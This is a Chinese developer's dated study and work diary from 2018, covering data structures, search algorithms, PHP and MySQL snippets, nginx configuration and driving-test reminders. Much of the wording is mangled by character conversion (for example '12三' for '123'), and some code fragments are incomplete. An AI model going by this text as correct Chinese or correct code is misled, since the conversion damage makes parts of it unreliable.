2.3頂點數組由 data數據域和firstedge指針域構成,firstedge指向邊表第一個結點
2.4 邊表結點由adjves域存儲頂點表下標,next存儲指向下一個的指針,若是有權值就加個weight的數據域就能夠
==========================================================================
2018年9月18日 記錄:
mysql的併發控制:
1.只要有多個查詢在同一時刻修改數據,都會產生併發控制的問題
2.unix下的email box,經過鎖防止數據損壞,多個同時投遞要等待鎖釋放才能進行,不支持併發
3.在處理併發讀或者寫時,有兩種類型的鎖共享鎖和排他鎖;也叫讀鎖和寫鎖
4.讀鎖是共享的,相互不阻塞,同一時刻能夠同時讀取同一個資源;寫鎖是排他的,一個寫鎖會阻塞其餘寫鎖和讀鎖
5.鎖的策略就是在鎖的開銷和數據安全性之間尋找平衡,由於行級鎖雖然支持併發可是性能消耗比較多
6.表鎖,開銷最小的策略,一個用戶對錶進行寫操做時,先得到寫鎖,會阻塞其餘用戶對該表的全部讀寫操做,只有沒有寫鎖時,其餘用戶才能得到讀鎖,讀鎖是不會相互阻塞的
7.行級鎖,最大程度支持併發處理,可是會有很大的鎖開銷
8.讀讀不互斥,讀寫互斥,寫寫互斥
stripos — 查找字符串首次出現的位置(不區分大小寫),應使用 === 運算符來測試此函數的返回值
if(stripos($newpwd,$account->getLocal())!==false){}
curl cookie
curl_setopt($ch, CURLOPT_COOKIEFILE, "cookiefile");
==========================================================================
2018年9月17日 記錄:
加強密碼組合策略,數字、大小寫字母、特殊字符中3種組合,長度8到20位。
密碼規則:
• 長度8到20位
• 密碼不包含帳號和空格
• 連續3位及以上數字不能連號(例如12三、654)
• 連續3位及以上字母不能連續(例如abc、cba)
• 不能包含連續3個及以上相同字符(例如aaa、rrr)
• 同時包含數字、大寫字母、小寫字母、特殊字符中三種組合
1.直接判斷長度8到20之間
2.定義一個關聯數組,大寫,小寫,字母,數字,默認對應都是0,字符轉成ascii碼,遍歷字符串根據碼錶範圍判斷,若是符合就修改對應的數組元素爲1
3.數組求和小於3的說明沒有符合任三種組合
4.正則取出對應的數字,遍歷從0開始到arr.length-2爲止,a=arr[i]-arr[i+1]取絕對值,b=arr[i+1]-arr[i+2]取絕對值,
a==b==1說明三個是連續的 a==b==0說明三個是同樣的
5.正則取出字母,轉成ascii碼,處理規則與上面的同樣
圖的存儲結構:
1.頂點是邏輯上的相對的概念
2.不能夠用順序存儲,不能夠像多重鏈表,一個數據域多個指針域,浪費太大
3.鄰接矩陣,兩個結構分別存儲,頂點用一個一維數組,邊是頂點和頂點的關係用二維數組存儲
3.1 一維數組存頂點(v0,v1,v2) ,二維矩陣存關係 , 無向圖是一個對稱矩陣
v0 v1 v2
v0 0
v1 0
v2 0
3.2 判斷頂點Vi和Vj是否存在弧,只需查找矩陣arc[i][j]V
4.圖結構定義
MGraph
vexs[3] //頂點
arc[3][3]//邊
numVex//頂點數 numArc//邊數
==========================================================================
2018年9月14日記錄:
1.未正確使用安全帶
2.定點停車超過邊線30cm未超過50cm
3.曲線行駛左後輪壓線
4.坡道起步溜車超過50cm
5.倒車入庫左前輪壓七米線
==========================================================================
2018年9月12日 記錄:
大附件問題:
1.nginx超時
2.讀取mda的返回超時
刪除重複的結點:
1.在一個排序的鏈表中,存在重複的結點,請刪除該鏈表中重複的結點,重複的結點不保留,返回鏈表頭指針。 例如,鏈表1->2->3->3->4->4->5 處理後爲 1->2->5
圖數據結構:
1.第一個頂點到最後一個頂點相同的路徑稱爲迴路或環,頂點不重複出現的稱爲簡單路徑;除頂點和最後一個頂點不重複出現的迴路,稱爲簡單迴路或簡單環
2.連通圖,全部的頂點均可以連通;無向圖中的極大連通子圖稱爲連通份量,子圖要連通具備極大頂點數
圖的抽象數據類型
1.createGraph(*G,v,vr):頂點集v和邊弧集vr構造圖
2.locateVex(G,u):存在頂點u,返回圖中的位置
3.getVex(G,v):返回G中國頂點v的值
4.
==========================================================================
2018年9月11日 記錄:
1.圖數據結構,周遊中國,地圖路線選擇,尋找最短路徑;一對一 一對多 多對多
2.圖中的數據元素稱爲頂點,不容許沒有頂點,頂點之間的關係用邊表示
3.無向邊:邊沒有方向,圖中任意邊都是無向邊,稱爲無向圖;有向邊又稱爲弧,A到D,A是弧頭,D是弧尾
4.無向圖中,任意兩個頂點都存在邊,該圖爲無向徹底圖;有向圖中就是有向徹底圖;
5.與邊相關的數稱爲權,帶權的圖稱爲網;路徑的長度是路徑上邊的數目
2.輸入兩個鏈表,找出他們的第一個公共結點:
==========================================================================
2018年9月10日 記錄:
linux stat 命令查看文件信息:
文件的訪問時間、修改時間、狀態改變時間
複雜鏈表的複製(每一個結點中有結點值,兩個指針,一個指向下一個結點,另外一個指向任意一個結點),返回複製後複雜結點的head
1.Apache ServiceComb (incubating)
2.ServiceComb提供了一套包含代碼框架生成,服務註冊發現,負載均衡,服務可靠性(容錯熔斷,限流降級,調用鏈追蹤)等功能的微服務框架。
3.Serverless 並不意味着沒有服務器,只是服務器以特定功能的第三方服務的形式存在
4.使用區塊鏈來作防僞溯源
5.微服務 雲平臺 區塊鏈 大數據 人工智能
==========================================================================
2018年9月7日 記錄:
合併兩個排序的鏈表,已解決
北醫三院中午11點
==========================================================================
2018年9月6日 記錄:
重建二叉樹,輸入二叉樹前序(中左右)和中序遍歷(左中右)的結果,重建出二叉樹:
找到中序的根結點,中序根結點左邊的都是左孩子,右邊的都是右孩子
==========================================================================
2018年9月5日 記錄:
魯棒性:程序在非正常狀況下(輸入不符合規定等)不會出錯或崩潰
反轉鏈表:
1.常見方法分爲迭代和遞歸,迭代是從頭至尾,遞歸是從尾到頭
2.設置兩個指針,old和new,每一項添加在new的後面,新鏈表頭指針指向新的鏈表頭
3.old->next不能直接指向new,而是應該設置一個臨時指針tmp,指向old->next指向的地址空間,保存原鏈表數據,而後old->next指向new,new往前移動到old處new=old,最後old=tmp取回數據
while(old!=null){
tmp=old->next
old->next=new
new=old
old=tmp
}
推薦的書:
深刻理解計算機系統、現代操做系統、C程序設計語言、C語言數據結構和算法、Unix環境高級編程、TCP/IP網絡通訊詳解
算法導論,大話數據結構,劍指offer
Java面向對象編程、Java編程思想、J2EE
PHP5權威編程
深刻理解計算機系統:
第五章 優化程序性能 Optimizing Program Performance
第六章 存儲器層次結構 The Memory Hierarchy
第八章 異常控制流 Exceptional Control Flow
第九章 虛擬存儲器 Virtual Memory
==========================================================================
2018年9月4日 記錄:
上傳圖片接口:
$file = $_FILES[$name];
$attarr["content"] = file_get_contents($file["tmp_name"]);
倒排索引-最基礎的搜索技術:
1.例如一張單詞表,單詞和對應的文章id編號,單詞表是有序的
2.索引表的通用結構:次關鍵字(單詞) 記錄號表(文章編號)
3.不是經過記錄肯定屬性值,而是經過屬性值肯定記錄的位置所以成爲倒排索引
4.維護比較困難,插入和刪除操做都要作相應的處理
二叉排序樹
1.有序線性表,由於要維護順序,插入和刪除操做耗費不少時間
2.左子樹小於中根結點,右子樹大於中根結點,插入和刪除效率更高
3.在插入刪除的時候,順序表須要移動不少元素,二叉樹不會
多路查找樹(B樹)
1.善於使用文字的人,一般是深沉而嚴謹的
2.從磁盤上進行不斷的數據處理,爲了下降對外存設備的訪問次數,須要新的數據結構
3.每個結點孩子數多於兩個,每一個結點存儲多個元素,全部元素存在某種特定排序關係
4.四種特殊形式:2-3樹 2-3-4樹 b樹 b+樹
2-3樹:
1.2結點包含一個元素和兩個孩子,與二叉搜索樹相似,可是要麼沒有孩子,要麼就有兩個
2.3結點包含一小一大兩個元素和三個孩子,
劍指offer
1.二維數組中查找,從左下角開始查找,當要查找數字比左下角數字大時。右移,要查找數字比左下角數字小時,上移
2.輸入一個鏈表,輸出該鏈表中倒數第k個結點。第一個指針走(k-1)步,到達第k個節點,兩個指針同時日後移動,當第一個結點到達末尾的時候,第二個結點所在位置就是倒數第k個節點了
==========================================================================
2018年9月3日 記錄:
上線企郵客戶端
上線pop代收的redis
二分查找的過程是一棵二叉樹
1.最壞狀況lgn+1,最好狀況1,最終是O(lgn)
2.前提條件是須要有序表順序存儲,對於頻繁插入和刪除的不建議使用
插值查找:
1.爲何是折半而不是折四分之一或更多,每次都一半有點效率低了
2.改進mid=low+1/2(hign-low)
3.mid=low+(key-a[low])/(a[hign]-a[low])(hign-low) 插值查找法
4.對於表長較大,關鍵字分佈又比較均勻的查找表,插值比折半高的多
斐波那契查找
1.利用黃金分割原理
2.low=1;hign=n;while(n>f[k]-1){k++}
線性索引查找:
索引就是把一個關鍵字與它對應的記錄關聯的過程,每一個索引項至少包含關鍵字和對應記錄在存儲器中的位置,組織大型數據庫以及磁盤文件的一種重要技術
按照結構:線性索引,樹形索引,多級索引
三種線性索引:稠密索引,分塊索引,倒排索引
稠密索引:將數據集中的每一個記錄對應一個索引項,必定是按照關鍵碼有序的排列
分塊索引:塊內無序,塊間有序,第二塊比第一塊全部都大,塊間有序能夠提高效率,每一塊對應一個索引項,分塊索引表.先二分或者插值查找分塊,而後在分塊內部進行順序查找
分塊索引的三個數據項
1.最大關鍵碼,以後的塊在比較的時候方便
2.塊中存儲的記錄個數,方便循環
3.指向塊首數據元素的指針,便於對記錄進行遍歷
master進程主要用來管理worker進程,具體包括以下4個主要功能:
(1)接收來自外界的信號。
(2)向各worker進程發送信號。
(3)監控woker進程的運行狀態。
(4)當woker進程退出後(異常狀況下),會自動從新啓動新的woker進程
==========================================================================
2018年8月31日 記錄:
open_basedir 將PHP所能打開的文件限制在指定的目錄樹中,包括文件自己。當程序要使用例如fopen()或file_get_contents()打開一個文件時,這個文件的位置將會被檢查。當文件在指定的目錄樹以外,程序將拒絕打開。
1.順序表查找:
for(i=1;i<=n;i++){a[i]==key return}
順序表查找的優化:
解決每次都要對i是否小於n做比較,設置一個哨兵,若是查找失敗,必定會在結尾a[0]處等於key,此時返回0;免去了每次都判斷是否越界
a[0]=key;i=n;while(a[i]!=key){i--}
有序表查找:
2.折半查找:取中間記錄的查找方法,又稱爲二分查找.前提是線性表中的記錄必須是有序的,取中間記錄做爲比較對象,若關鍵字相等則查找成功,若小於則在左半區查找,若大於則在右半區查找
left mid right
while(left<right){
mid=(left+right)/2
if(key<a[mid]){right=mid-1}
else if(key>a[mid]){left=mid+1}
else{return mid}
}return 0
==========================================================================
2018年8月30日 記錄:
PHP讀取命令行輸入:
$handle=fopen("php://stdin","r");
$line=fgets($handle);
前序遍歷生成二叉樹
function createBinTree(){
$handle=fopen("php://stdin","r");
$e=trim(fgets($handle));
var_dump($e);
if($e=="#"){
$binTree=null;
}else{
$binTree=new BinTree();
$binTree->data=$e;
$binTree->left=createBinTree();
$binTree->right=createBinTree();
}
return $binTree;
}
查看兩個段是否有交集:
public static function isIntersect($oldIps,$newIps){
if($newIps[0]>$newIps[1]){
return false;
}
foreach($oldIps as $old){
if($old[0]<=$newIps[0] && $newIps[0]<=$old[1]){
return false;
}
if($old[0]<=$newIps[1] && $newIps[1]<=$old[1]){
return false;
}
if($newIps[0]<=$old[0] && $old[1]<=$newIps[1]){
return false;
}
}
return true;
}
查找:根據給定的某個值,在查找表中肯定一個其關鍵字等於給定值的數據元素
查找表:同一類型的數據元素構成的集合
關鍵字:數據元素中某個數據項的值,又稱爲鍵值,能夠惟一標識一個記錄,稱爲主關鍵字
主關鍵碼:主關鍵字所在的數據項
次關鍵字:能夠識別多個數據元素或記錄
查找表按照操做方式分爲:靜態查找表和動態查找表
靜態查找表:只查找操做的查找表,查詢某元素是否在查找表中,查詢某元素的屬性等
動態查找表:在查找過程當中同時插入查找表中不存在的數據元素,或者刪除已存在的元素
查找結構:專門爲查找操做設置的數據結構,爲了提升查找扥性能,在存儲時能夠將查找組織成表和樹等結構
1.順序表查找:
科目二坡起溜車,倒車入庫壓左邊線
==========================================================================
2018年8月29日 記錄:
二叉樹的創建:
將二叉樹中每一個結點的空指針引出一個虛結點,其值爲特定值#,處理二叉樹爲原二叉樹的擴展二叉樹,擴展二叉樹作到一個遍歷序列肯定一棵二叉樹
下午考科二
==========================================================================
2018年8月28日 記錄:
企郵pop代收redis隊列改造:
企郵官網海外提示
建立一個循環鏈表
//頭結點指向自身
$linkList->next=$linkList;
//最後一個結點指向頭結點
$node->next=$linkList;
明天下午考科目二:
1.身份證
2.安全帶
3.身子對準兩條紅色線
==========================================================================
2018年8月27日 記錄:
logo圖:
width: 330px;
height: 50px;
背景圖
width: 500px;
height: 350px;
$list=new Node();
$list->next=null;
$temp=$list;
for($i=0;$i<10;$i++){
$node=new Node();
$node->data="aaa{$i}";
$node->next=null;
$temp->next=$node;
$temp=$node;
}
鏈表獲取元素
1.聲明結點p指向鏈表第一個結點,j初始化1開始
2.j<i,p指向下一結點,由於此時p是指向的p的next,所以不須要等於
3.若是到末尾了,p還爲null,就是沒有查找到
插入元素
1.插入元素和查找相似,找到位置後
2.生成新的結點s, s->next=p->next p->next=s;
刪除元素
1.刪除元素,找到位置後
2.繞過一下,q=p->next p->next=q->next;
明天早上8點龍泉駕校考前集訓
後天下午科目二考試
==========================================================================
2018年8月24日 記錄:
企郵api調用客服token
樹轉換成二叉樹:
1.加線,全部兄弟節點間加一條連線
2.去線,只保留它與第一個孩子結點的連線,刪除與其餘孩子結點的連線
3.層次調整,以樹的根結點爲軸心,將整棵樹順時針旋轉必定的角度
4.第一個孩子是二叉樹結點的左孩子,兄弟轉換過來的孩子是結點的右孩子
5.森林轉換成二叉樹,能夠理解爲森林裏的每棵樹都是兄弟
二叉樹轉換成樹
1.加線,若某結點的左孩子結點存在,就把這個左孩子的右孩子結點和該結點相連
2.去線,刪除原二叉樹中全部結點與其右孩子結點的連線
3.二叉樹轉換成森林,從根結點開始,若右孩子存在,就把之間的連線刪除
樹的遍歷分爲先根遍歷和後根遍歷
1.先訪問根結點,依次先根遍歷樹的每顆子樹
2.後根遍歷,先依次後根遍歷每棵子樹,再訪問根結點
赫夫曼編碼-最基本的壓縮編碼方法
赫夫曼樹-葉子結點帶權的二叉樹
線性表的順序存儲結構,在內存中找一塊地,經過佔位的形式,把必定的內存空間給佔了,一維數組來實現順序存儲結構
三個屬性,數組data,數組長度MAX_SIZE,當前長度length
1.PHP中的數組其實是有序映射,能夠當成數組,列表,散列表,字典,集合,棧,隊列,不是固定的長度
2.數組定義中多個單元都使用了同一個鍵名,則只使用了最後一個,以前的都被覆蓋了
3.想要函數的一個參數老是經過引用傳遞,能夠在函數定義中該參數的前面加上符號 &
4.PHP 的引用是別名,就是兩個不一樣的變量名字指向相同的內容;「默認狀況下對象是經過引用傳遞的」。但其實這不是徹底正確的,當對象做爲參數傳遞,做爲結果返回,或者賦值給另一個變量,另一個變量跟原來的不是引用的關係,只是他們都保存着同一個標識符的拷貝
==========================================================================
2018年8月23日 記錄:
分治依託於遞歸,分治是一種思想,而遞歸是一種手段,遞歸式能夠刻畫分治算法的時間複雜度。
分治策略求解遞歸式方法:
1.代入法,遞歸樹法,主方法
最大子數組問題:
給定一個連續的數值數組,找出其中連續的求和爲最大的子數組
漢語拼音 Tao Shi Han Tau Shihan
註音二式 Tau Shr Han
通用拼音 Tao Shih Han
威妥瑪拼音 T'ao Shih Han
耶魯拼音 Tau Shr Han
==========================================================================
2018年8月22日 記錄:
echo `date` ls==2 >> 1.log
date|xargs echo ls==2>> 1.log
xargs命令是給其餘命令傳遞參數的一個過濾器,也是組合多個命令的一個工具,將標準輸入數據轉換成命令行參數,xargs可以處理管道或者stdin並將其轉換成特定命令的命令參數,xargs是構建單行命令的重要組件之一
算法導論:
1.2-1 給出應用層須要算法內容的應用的一個例子,並討論涉及的算法的功能:數據庫應用,快速查找與排序
1.2-2插入排序和歸併排序在相同機器上的實現,規模爲n的輸入,插入排序運行8n^2,歸併排序須要64nlgn,問對哪些n值插入排序優於歸併排序:
n^2 8nlgn進行比較 :40左右開始,歸併排序會比較快
1.2-3 運行時間是100n^2小於2^n的點 :n是15的時候
分治策略:
分解,將問題劃分爲子問題,子問題形式與原問題同樣,規模更小
解決,遞歸求解出子問題
合併,子問題的解組合成原問題的解
pow(x,y),pow() 函數返回 x 的 y 次方。
log() 天然對數。以E爲底
log10() 以 10 爲底的對數。
天然對數以常數e爲底數的對數,記做lnN(N>0)
對數函數lg,是以10爲底的對數(經常使用對數),如lg 10=1,lg即爲log10
階乘指從1乘以2乘以3乘以4一直乘到所要求的數
明天預定科目二考試:
1.身份證必須帶
2.安全帶必須系
mysql_select_db("byzx",$con);
$res=mysql_query("drop table test");
$res=mysql_query("create table test (id int)");
var_dump(mysql_error());
==========================================================================
2018年8月21日 記錄:
仲裁郵箱郵件目錄數量問題上線
==========================================================================
2018年8月20日 記錄:
中序遍歷加線索化二叉樹,遞歸實現:
InThreading(p->lchild);若是沒有左孩子,p->lchild=pre
若是前驅沒有右孩子,pre->rchild=p;由於此時尚未訪問到後繼,InThreading(p->rchild);pre=p,以便下次使用
若是所採用的二叉樹須要常常遍歷或查找結點時須要某種遍歷序列中的前驅和後繼,採用線索二叉鏈表存儲結構很是不錯
1.區塊鏈 = 鏈成一串的區塊集合,區塊ID,上一個區塊的ID,生成時間,數據,區塊散列值
2.非對稱加密,公鑰加密,私鑰解密;公鑰加密後私鑰解密轉給別人
3.面向對象、解耦,這些手段只能加強系統可維護性,對性能反而會有細微的損耗,從沒據說過還能提高性能,若是是數據庫的問題,從數據庫層面來解決,只留下必須由客戶端處理的小部分
==========================================================================
2018年8月17日 記錄:
date當前日期: echo `date +%Y%m%d`
1.排序 漸進表示 分治法 機率分析 線性規劃 最短路徑 動態規劃最長公共子序列
2.拓撲排序 求凸殼頂點的好方法
3.NP徹底問題沒有有效算法可是有近似算法
4.插入排序n^2 歸併排序大體nlgn,因子n*n 比較 n*lgn,後者要小得多;規模小的時候插入比歸併快,超出這個交叉點歸併排序更快
log2n當n是1000的時候,lgn大體等於10
Redis Desktop Manager (aka RDM) — is a fast open source Redis database management application for Windows, Linux and MacOS.
==========================================================================
2018年8月16日 記錄:
filter_var — 使用特定的過濾器過濾一個變量
var_dump(filter_var('bob@example.com', FILTER_VALIDATE_EMAIL));
var_dump(filter_var('http://example.com', FILTER_VALIDATE_URL, FILTER_FLAG_PATH_REQUIRED));
線索二叉樹:
1.每一個結點增設兩個標誌域ltag,rtag只是存放0和1,lchild ltag data rtag rchild
2.ltag爲0指向左孩子,1指向前驅;rtag爲0指向右孩子,1指向後繼
3.線索化的過程就是遍歷過程當中修改空指針的過程
==========================================================================
2018年8月15日 記錄:
thinkphp的重寫去掉index.php,通常重寫成index.php?s=$1,index.php?s=/admin/index
組件:
1.大型框架很難集成自定義的庫或第三方庫的日子一去不復返了
2.從不斷增多的大量專用組件中選擇合適的
線索二叉樹:
1.有n個結點的二叉鏈表,一共是2n個指針域,有n-1個分叉線,有2n-(n-1)=n+1個空指針域很是的浪費
2.利用空地址存放指向結點在某種遍歷次序下的前驅和後繼結點的地址
3.把這種指向前驅和後繼的指針稱爲線索,加上線索的二叉鏈表稱爲線索鏈表,相應的二叉樹稱爲線索二叉樹
4.全部空指針域中的lchild指向前驅,rchild指向後繼結點,將一棵二叉樹轉變成了雙向鏈表,這就是線索化
==========================================================================
2018年8月14日 記錄:
二叉鏈表:
1.鏈式存儲結構.每一個結點有兩個孩子,設計一個數據域,兩個指針域,叫作二叉鏈表
2.遍歷二叉樹
二叉樹的遍歷:從根結點出發,按照某種次序依次訪問二叉樹中的全部結點,每一個結點僅被訪問一次[訪問和次序],對於計算機來講它只會處理線性序列
前序遍歷:先訪問根結點,前序遍歷左子樹,前序遍歷右子樹;中左右
中序遍歷:左中右 preOrderFunc(T->lchild);printf("%c",T->data);preOrderFunc(T->rchild)
後序遍歷:左右中 preOrderFunc(T->lchild);preOrderFunc(T->rchild);printf("%c",T->data);
層序遍歷:一層層的遍歷
前序遍歷遞歸代碼:printf("%c",T->data);preOrderFunc(T->lchild);preOrderFunc(T->rchild)
推導遍歷結果:
前序abcdef(中左右) 中序cbaedf(左中右) 後序遍歷結果是多少(左右中) cbefda
a
b d
c e f
中序abcdefg 後序bdcafge 前序 eacbdgf
e
a g
c f
b d
1.已知前中能夠惟一肯定一顆二叉樹
2.已知後中能夠惟一肯定一棵二叉樹
3.已知先後不能肯定一棵二叉樹
二叉樹建立:
利用遞歸的原理,只不過在原來打印結點的地方,改爲了生成結點,給結點賦值的操做
if(ch=='#'){*T=NULL;}else{malloc();(*T)->data=ch;createFunc((*T)->lchild);createFunc((*T)->rchild);}
分佈式之數據庫和緩存雙寫一致性:
1.緩存設置過時時間
2.先更新數據庫,再更新緩存
3.先更新數據庫,再刪除緩存
4.先刪除緩存,再更新數據庫
php:// — 訪問各個輸入/輸出流(I/O streams)
==========================================================================
2018年8月13日 記錄:
上線企郵客服限制企業後的我的發信限制
科目二早上學車已掛,
1.沒有帶身份證
2.沒有系安全帶
3.定點停車離右邊太遠
4.速度太快曲線行駛壓線
==========================================================================
2018年8月10日 記錄:
企郵羣發助手腳本下降發統計郵件頻率
//工做時間
$nowHour=intval(date("H",time()));
$sendMonitor=false;
if(9<$nowHour && $nowHour<18){
$rand=rand(0,2);
if($rand==0){
$sendMonitor=true;
}
}
1.徹底二叉樹的順序存儲,存到一維數組中,相應的下標存入到一樣的位置
2.通常的二叉樹,也能夠按上面的存儲,可是空的地方設置爲^表示不存在,可是對於斜樹不一樣
nginx thinkphp
index index.html index.htm index.php;
11 if (!-e $request_filename) {
12 rewrite ^/(.*)$ /index.php?s=$1 last;
13 break;
14 }
15 location ~ \.php$ {
16 fastcgi_pass 127.0.0.1:9000;
17 fastcgi_index index.php;
18 fastcgi_param SCRIPT_FILENAME $document_root$fastcgi_script_name;
19 include fastcgi_params;
20 fastcgi_split_path_info ^(.+\.php)(/.*)$;
21 fastcgi_param PATH_INFO $fastcgi_path_info;
22 }
彼之蜜糖 吾之砒霜
https://www.cnblogs.com/sherrywasp/p/9436623.html
==========================================================================
2018年8月9日 記錄:
1.性狀能夠把模塊化的實現方式注入多個無關的類中,介於類和接口之間的
trait MyTrait{},建議一個文件只定義一個性狀,導入是在類定義體內use MyTait
2.DRY原則Dont Repeat Yourself
3.spl_autoload_register()實現了各自特有的自動加載器
PSR-1:基本的代碼風格,PSR-2嚴格的代碼風格,PSR-3日誌記錄器接口,PSR-4自動加載(命名空間前綴與文件目錄對應起來)
4.zend opcache php內置的字節碼緩存,php解釋器不須要每次都讀取 解析和編譯php代碼,會從內存中讀取預先編譯好的字節碼,須要配置擴展和php.ini
==========================================================================
2018年8月8日 記錄:
1.PHP引擎,Zend Engine HipHopVM(Facebook開發的,使用即時編譯器JIT提高性能) Hack語言(靜態類型,新的數據結構,額外的接口)
2.命名空間:按照一種虛擬的層次結構組織代碼,相似 操做系統的文件目錄結構,子命名空間用\分割,PHP解釋器會將其做爲前綴加到類等前面,現代PHP組件系統的基礎,namespace T;
3.使用use關鍵字導入時無需在頭加開\,PHP假定導入的是徹底限定的命名空間
4.use func導入函數,use constant導入常量
5.命名空間爲PHP Framework Interop Group(PHP-FIG)制定的PSR-4自動加載器標準奠基基礎
6.PHP接口是兩個對象之間的契約,都實現了一樣的接口
addDocument(Documentable $document),Documentable是個接口定義了兩個公開方法
7.
==========================================================================
2018年8月7日 記錄:
2.安裝php的redis擴展
yum install php-redis
3.
如何設置一個嚴格30分鐘過時的Session
經過 session_save_path() 來獲取session文件的存儲位置。而後依次讀取每一個文件並反序列化。
把session寫到memcache或數據庫裏
==========================================================================
2018年8月6日 記錄:
mysql中時間戳轉時間:
select *,FROM_UNIXTIME(send_time,'%Y年%m月%d') from mass_send_records order by id desc limit 30;
Vagrant是一個基於Ruby的工具,用於建立和部署虛擬化開發環境
==========================================================================
2018年8月3日 記錄:
二叉樹:n個結點的有限集合,根結點的左子樹和右子樹組成,查找起來效率特別高
1.每一個結點最多有兩顆子樹
2.左子樹和右子樹都是有順序的,次序不能顛倒
3.即便只有一棵樹,也要區分左子樹和右子樹
4.斜樹,左斜樹,右斜樹,每一層只有一個結點
5.滿二叉樹,很完美,全部的分支結點都存在左子樹,右子樹,全部葉子在同一層
6.徹底二叉樹,按層序編號,結點位置和滿二叉樹一致,按層序標號不能有空檔
二叉樹的性質:
1.第i層上,最多有2的i-1次方個結點
2.深度爲k,最多有2的k次方-1個結點
3.終端結點數是n0,度爲2的結點數是n2則n0=n2+1
4.具備n個結點的徹底二叉樹的深度爲[log2n]+1
二叉樹的存儲結構:
1.順序存儲結構也能夠實現存儲二叉樹,將二叉樹上的結點按照層序編號,順序存儲在一維數組中,通常存徹底二叉樹最合適,其餘的二叉樹會有空間浪費
2.
==========================================================================
2018年8月2日 記錄:
孩子雙親表示法:
1.設計兩種結點結構,孩子鏈表的孩子結點child和next和parent
2.表頭數組的表頭結點,data和firstchild
==========================================================================
2018年8月1日 記錄:
1.linux的ss命令 socket statistics,默認輸出tcp, udp, and unix socket 三種類型的鏈接
ss -tnl查看監聽的端口 -p顯示進程
2.namespace 是 Linux 內核用來隔離內核資源的方式,爲 docker 等容器技術的出現和發展提供了基礎條件
==========================================================================
2018年7月31日 記錄:
1.樹中結點的最大層次稱爲樹的深度
2.樹中結點的各子樹當作從左之右是有次序的,不能互換的,則稱該樹爲有序樹,不然稱爲無序樹
3.線性結構:第一個元素無前驅,最後一個無後繼,中間一個前驅一個後後繼
4.樹結構:根節點無雙親,惟一;葉節點無孩子,能夠多個;中間結點一個雙親多個孩子
5.樹的抽象數據類型:
InitTree(*T):構造空樹T
DestoryTree(*T):銷燬樹T
CreateTree(*T,definition):按definition中給出樹的定義來構造樹
TreeDepth(T):返回T的深度
Root(T):返回T的根節點
Value(T,cur_e):cur_e是樹T中一個結點,返回該結點的值
Assign(T,cur_e,value):給樹T的結點cur_e賦值爲value
Parent(T,cur_e):返回cur_e的雙親
LeftChild(T,cur_e):返回cur_e的最左孩子
RightSibling(T,cur_e):返回cur_e的右兄弟
InsertChild(*T,*p,i,c):p指向T的某個結點,i爲所指結點p的度加上1
DeleteChild(*T,*p,i):刪除T中p所指結點的第i個子樹
樹的存儲結構:順序存儲結構和鏈式存儲結構均可以實現對樹的存儲結構的表示,雙親表示法,孩子表示法,孩子兄弟表示法
6.在每一個結點中,附設一個指示器指示其雙親結點到鏈表中的位置,data和parent;根結點沒有雙親,parent位置存-1;其餘結點都有雙親位置
7.根據結點的parent指針找到雙親結點,時間複雜度是O(1),直到parent是-1,若是要知道某個結點的孩子,須要O(n)
8.能夠把此結構擴展爲雙親域,長子域,右兄弟域,存儲結構的設計是很靈活的
9.孩子表示法,每一個結點有多個指針域,每一個指針指向一顆子樹的根結點,多重鏈表表示法;樹的每一個結點的度,孩子個數是不一樣的.指針域的個數等於樹的度,顯然是很浪費空間的.第二種方案是每一個結點指針域的個數等於該結點的度,data爲數據域,degree爲度域,child1到childd爲指針域,這樣運算上時間損耗
10.每一個結點的孩子結點排列起來,以單鏈表存儲,n個結點有n個孩子鏈表,n個頭指針組成一個線性表用一維數組存儲,設計兩種結構:孩子鏈表的孩子結點,表頭數組的表頭結點
維生素B2不足:口角發炎,出現各類皮膚性疾病如皮膚炎等,手肢有灼熱感受,對光有過分敏感的反應等。應多進食肝臟、牛奶、雞蛋、豆類、綠色蔬菜。維生素B2(核黃素)的主要食物來源爲瘦肉、肝、蛋黃、糙米及綠葉蔬菜。小米含不少的維生素B2 。維生素B2對人體沒有任何反作用,過量的維生素B2會從尿液中直接排出體外
==========================================================================
2018年7月30日 記錄:
404頁面更新
Linux的調度策略:
1.進程是操做系統虛擬出的概念,組織計算機中的任務,安排進程執行的模塊稱爲調度器
2.進程狀態, 就緒,執行,阻塞狀態,調度器是CPU時間管理員,負責兩件事:就緒進程來執行,執行中的進程打斷成就緒狀態.
3.上下文切換就是指進程在CPU中切換執行的過程,內核承擔了上下文切換的任務
4.進程優先級是調度器分配CPU時間的依據,根據優先級分爲實時進程和普通進程.0到99留給系統建立的實時進程,100到139是用戶建立的普通進程,普通進程默認優先級120,使用nice命令修改,nice -n -20 ./app
5.Linux2.4是O(n)調度器,Linux2.6開始是O(1)調度器,O(n)調度器每一個時間片開始時檢查全部就緒進程,按優先級順序執行.O(1)調度器使用兩個隊列來執行
6.徹底公平調度器使用了紅黑樹的數據結構取代了O(1)調度器
==========================================================================
2018年7月27日 記錄:
redis的內存統計:
redis-cli鏈接後使用info memory命令查看內存
redis數據存儲的細節:內存分配器(jemalloc),簡單動態字符串SDS,5種對象類型及內部編碼,redisObject
樹是n個結點(n>=0)的有限集,n=0時是空樹,n>1時可分爲m個互不相交的有限集,每個集合自己是根的子樹
1.n>0時根結點是惟一的 2.m>0時子樹的個數沒有限制,但必定互不相交
3.結點擁有的子樹個數稱爲結點的度 , 度爲0的結點稱爲葉結點或終端結點
==========================================================================
2018年7月26日 記錄:
樸素的模式匹配:
1.對主串S作大循環,對字串T作小循環
2.S[0]和T[0]存長度,S[1]和T[1]是開始
while(i<=S[0]&&j<=T[0]) i=i-j+2 //i退回到上次匹配首位的下一位 j=1//j回第一位,當前位置if(j>T[0]) i-T[0]
3.時間複雜度,最簡單的是O(1),平均O(n-m),最壞O((n-m+1)*m)
KMP模式匹配算法:
1.避免重複遍歷
2.T串中的首字符與T後面的字符不相等,若是S串的首字符與T串的相等能夠推斷出後面的
仲裁郵箱前端頁面顯示問題:
圖片的onerror事件使用:
<img src="<?php echo $logo;?>" onerror="javascript:this.src='static/img/logo.png';"/>
==========================================================================
2018年7月25日 記錄:
數據庫建立提案
linux的 內存分頁管理:
1.內存用內存地址來爲每一個字節的數據順序編號,用十六進制數來表示內存地址
2.內存的編號有上限,與地址總線的位數有關,0x00000000到0xffffffff
3.內存的存儲單元採用隨機讀取存儲器RAM
4.進程並不能直接訪問內存,只能訪問虛擬內存地址,虛擬內存地址翻譯成真實內存地址
5.每一個進程都有本身的虛擬內存地址,給進程空間編號,兩個進程能夠有相同的虛擬內存地址
